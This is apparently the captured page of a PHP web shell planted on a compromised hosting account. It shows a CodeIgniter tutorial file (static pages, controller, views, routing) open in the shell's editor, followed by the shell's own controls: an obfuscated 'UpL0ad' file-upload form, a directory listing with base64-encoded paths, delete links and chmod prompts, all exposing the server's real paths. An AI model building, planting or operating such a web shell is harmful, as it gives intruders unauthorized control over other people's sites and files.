one argument named &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;$page&lt;/span&gt;&lt;/code&gt;. The &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;Pages&lt;/span&gt;&lt;/code&gt; class is extending the
&lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;CI_Controller&lt;/span&gt;&lt;/code&gt; class. This means that the new pages class can access the
methods and variables defined in the &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;CI_Controller&lt;/span&gt;&lt;/code&gt; class
(&lt;em&gt;system/core/Controller.php&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;controller is what will become the center of every request&lt;/strong&gt; to
your web application. In very technical CodeIgniter discussions, it may
be referred to as the &lt;em&gt;super object&lt;/em&gt;. Like any php class, you refer to
it within your controllers as &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;$this&lt;/span&gt;&lt;/code&gt;. Referring to &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;$this&lt;/span&gt;&lt;/code&gt; is how
you will load libraries, views, and generally command the framework.&lt;/p&gt;
&lt;p&gt;Now youve created your first method, its time to make some basic page
templates. We will be creating two views (page templates) that act as
our page footer and header.&lt;/p&gt;
&lt;p&gt;Create the header at &lt;em&gt;application/views/templates/header.php&lt;/em&gt; and add
the following code:&lt;/p&gt;
&lt;div class=&quot;highlight-ci&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;html&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CodeIgniter&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Tutorial&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;

                &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;h1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;php&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$title&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;h1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The header contains the basic HTML code that youll want to display
before loading the main view, together with a heading. It will also
output the &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;$title&lt;/span&gt;&lt;/code&gt; variable, which well define later in the controller.
Now, create a footer at &lt;em&gt;application/views/templates/footer.php&lt;/em&gt; that
includes the following code:&lt;/p&gt;
&lt;div class=&quot;highlight-ci&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;                &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;em&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;copy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2015&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;em&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;html&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;adding-logic-to-the-controller&quot;&gt;
&lt;h2&gt;Adding logic to the controller&lt;a class=&quot;headerlink&quot; href=&quot;#adding-logic-to-the-controller&quot; title=&quot;Permalink to this headline&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Earlier you set up a controller with a &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;view()&lt;/span&gt;&lt;/code&gt; method. The method
accepts one parameter, which is the name of the page to be loaded. The
static page templates will be located in the &lt;em&gt;application/views/pages/&lt;/em&gt;
directory.&lt;/p&gt;
&lt;p&gt;In that directory, create two files named &lt;em&gt;home.php&lt;/em&gt; and &lt;em&gt;about.php&lt;/em&gt;.
Within those files, type some text  anything youd like  and save them.
If you like to be particularly un-original, try Hello World!.&lt;/p&gt;
&lt;p&gt;In order to load those pages, youll have to check whether the requested
page actually exists:&lt;/p&gt;
&lt;div class=&quot;highlight-ci&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$page&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;home&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file_exists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;APPPATH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;views/pages/&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$page&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;.php&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;// Whoops, we don&amp;#39;t have a page for that!&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;show_404&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;title&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ucfirst&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Capitalize the first letter&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;templates/header&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;pages/&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;templates/footer&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now, when the page does exist, it is loaded, including the header and
footer, and displayed to the user. If the page doesnt exist, a 404
Page not found error is shown.&lt;/p&gt;
&lt;p&gt;The first line in this method checks whether the page actually exists.
PHPs native &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;file_exists()&lt;/span&gt;&lt;/code&gt; function is used to check whether the file
is where its expected to be. &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;show_404()&lt;/span&gt;&lt;/code&gt; is a built-in CodeIgniter
function that renders the default error page.&lt;/p&gt;
&lt;p&gt;In the header template, the &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;$title&lt;/span&gt;&lt;/code&gt; variable was used to customize the
page title. The value of title is defined in this method, but instead of
assigning the value to a variable, it is assigned to the title element
in the &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;$data&lt;/span&gt;&lt;/code&gt; array.&lt;/p&gt;
&lt;p&gt;The last thing that has to be done is loading the views in the order
they should be displayed. The second parameter in the &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;view()&lt;/span&gt;&lt;/code&gt; method is
used to pass values to the view. Each value in the &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;$data&lt;/span&gt;&lt;/code&gt; array is
assigned to a variable with the name of its key. So the value of
&lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;$data['title']&lt;/span&gt;&lt;/code&gt; in the controller is equivalent to &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;$title&lt;/span&gt;&lt;/code&gt; in the
view.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;routing&quot;&gt;
&lt;h2&gt;Routing&lt;a class=&quot;headerlink&quot; href=&quot;#routing&quot; title=&quot;Permalink to this headline&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The controller is now functioning! Point your browser to
&lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;[your-site-url]index.php/pages/view&lt;/span&gt;&lt;/code&gt; to see your page. When you visit
&lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;index.php/pages/view/about&lt;/span&gt;&lt;/code&gt; youll see the about page, again including
the header and footer.&lt;/p&gt;
&lt;p&gt;Using custom routing rules, you have the power to map any URI to any
controller and method, and break free from the normal convention:
&lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;http://example.com/[controller-class]/[controller-method]/[arguments]&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Lets do that. Open the routing file located at
&lt;em&gt;application/config/routes.php&lt;/em&gt; and add the following two lines.
Remove all other code that sets any element in the &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;$route&lt;/span&gt;&lt;/code&gt; array.&lt;/p&gt;
&lt;div class=&quot;highlight-ci&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$route&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;default_controller&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;pages/view&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$route&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;(:any)&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;pages/view/$1&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;CodeIgniter reads its routing rules from top to bottom and routes the
request to the first matching rule. Each rule is a regular expression
(left-side) mapped to a controller and method name separated by slashes
(right-side). When a request comes in, CodeIgniter looks for the first
match, and calls the appropriate controller and method, possibly with
arguments.&lt;/p&gt;
&lt;p&gt;More information about routing can be found in the URI Routing
&lt;a class=&quot;reference internal&quot; href=&quot;../general/routing.html&quot;&gt;&lt;span class=&quot;doc&quot;&gt;documentation&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here, the second rule in the &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;$route&lt;/span&gt;&lt;/code&gt; array matches &lt;strong&gt;any&lt;/strong&gt; request
using the wildcard string &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;(:any)&lt;/span&gt;&lt;/code&gt;. and passes the parameter to the
&lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;view()&lt;/span&gt;&lt;/code&gt; method of the &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;Pages&lt;/span&gt;&lt;/code&gt; class.&lt;/p&gt;
&lt;p&gt;Now visit &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;index.php/about&lt;/span&gt;&lt;/code&gt;. Did it get routed correctly to the &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;view()&lt;/span&gt;&lt;/code&gt;
method in the pages controller? Awesome!&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


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&lt;/html&gt;</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWw=">/home/mktssoci/public_html</a><hr>curdir: /home/mktssoci/creativeinstitution_in/admin/user_guide/tutorial<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL3R1dG9yaWFs"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL3R1dG9yaWFs&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>127</td></tr><tr><td></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRl"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL3R1dG9yaWFs&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL3R1dG9yaWFs&x=Y29uY2x1c2lvbi5odG1s">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL3R1dG9yaWFs&f=Y29uY2x1c2lvbi5odG1s"/>conclusion.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL3R1dG9yaWFs&f=Y29uY2x1c2lvbi5odG1s&c=`+btoa(c):0" value="0644"></td><td>36049</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL3R1dG9yaWFs&x=Y3JlYXRlX25ld3NfaXRlbXMuaHRtbA==">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL3R1dG9yaWFs&f=Y3JlYXRlX25ld3NfaXRlbXMuaHRtbA=="/>create_news_items.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL3R1dG9yaWFs&f=Y3JlYXRlX25ld3NfaXRlbXMuaHRtbA==&c=`+btoa(c):0" value="0644"></td><td>48960</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL3R1dG9yaWFs&x=aW5kZXguaHRtbA==">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL3R1dG9yaWFs&f=aW5kZXguaHRtbA=="/>index.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL3R1dG9yaWFs&f=aW5kZXguaHRtbA==&c=`+btoa(c):0" value="0644"></td><td>36483</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL3R1dG9yaWFs&x=bmV3c19zZWN0aW9uLmh0bWw=">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL3R1dG9yaWFs&f=bmV3c19zZWN0aW9uLmh0bWw="/>news_section.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL3R1dG9yaWFs&f=bmV3c19zZWN0aW9uLmh0bWw=&c=`+btoa(c):0" value="0644"></td><td>55561</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL3R1dG9yaWFs&x=c3RhdGljX3BhZ2VzLmh0bWw=">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL3R1dG9yaWFs&f=c3RhdGljX3BhZ2VzLmh0bWw="/>static_pages.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL3R1dG9yaWFs&f=c3RhdGljX3BhZ2VzLmh0bWw=&c=`+btoa(c):0" value="0644"></td><td>47429</td></tr></table>